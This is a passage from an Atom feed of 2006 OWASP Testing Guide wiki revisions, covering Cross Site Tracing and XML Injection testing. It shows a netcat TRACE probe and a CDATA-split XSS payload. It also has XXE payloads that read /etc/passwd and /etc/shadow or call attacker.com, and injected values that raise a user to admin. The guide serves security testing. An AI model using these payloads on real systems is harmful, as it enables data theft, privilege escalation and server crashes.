As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Test XST Potential'''&amp;lt;br&amp;gt;&lt;br /&gt;
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[Cross_site_scripting_AoC | Cross Site Scripting attacks]].&lt;br /&gt;
&lt;br /&gt;
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the httpOnly tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.&lt;br /&gt;
&lt;br /&gt;
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:01:48 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: message/http&lt;br /&gt;
Content-Length: 39&lt;br /&gt;
&lt;br /&gt;
TRACE / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker as two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
* 1.Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet, that contains the TRACE request, in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
* 2.Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” &lt;br /&gt;
* RFC 2975: “HTTP State Management Mechanism” &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12801</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12801"/>
				<updated>2006-11-15T19:16:30Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section we describe a pratical example of XML Injection: first we define an xml style communication, and we show how it works. Then we describe the discovery method in which we try to insert xml metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an xml style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node on an xmlDb file.&lt;br /&gt;
Let's suppose xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user register himself by filling an html form, &lt;br /&gt;
the application will receive user's data in a standard request which&lt;br /&gt;
for the sake of simplicity will be supposed to be sent as GET request.&lt;br /&gt;
&lt;br /&gt;
For example the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
Will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to the application, which, afterwards, will build the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability, consists in trying to insert xml metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
A list of xml metacharacters is:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during xml&lt;br /&gt;
parsing if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted into attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The xml document will be no more well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be &lt;br /&gt;
used in case attribute value is enclosed by double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution will be:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the xml document will be no more valid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis &lt;br /&gt;
in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but the presence of an open '&amp;lt;' will deny the validation of xml data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/&lt;br /&gt;
end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid xml sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in xml syntax to represent XML Entities.&lt;br /&gt;
that is, by using an arbitrary entity like '&amp;amp;amp;symbol;' it is possible to &lt;br /&gt;
map it with a character or a string which will be considered as non-xml text.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represent the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp; it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
Infact if a input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
but as &amp;amp;amp;foo doesn't has a final ';' and moreover &amp;amp;foo; entity is defined nowhere so xml is not valid as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA begin/end tags: &amp;lt;![CDATA[ / ]]&amp;gt;''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser. &lt;br /&gt;
Often this is used when there are metacharacters inside a text node&lt;br /&gt;
which are to be considered as text values.&lt;br /&gt;
&lt;br /&gt;
For example if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node&lt;br /&gt;
it could be used CDATA in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed and will be considered as a text value.&lt;br /&gt;
&lt;br /&gt;
In case  a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA sequence ']]&amp;gt;' in order to try to invalidate xml.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid xml representation.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page.&lt;br /&gt;
Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
we will obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.&lt;br /&gt;
&lt;br /&gt;
'''Entity:'''&lt;br /&gt;
It's possible to define an entity using the DTDs. Entity-name as ''&amp;amp;amp;.'' is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars.&lt;br /&gt;
Other tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a DTD.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
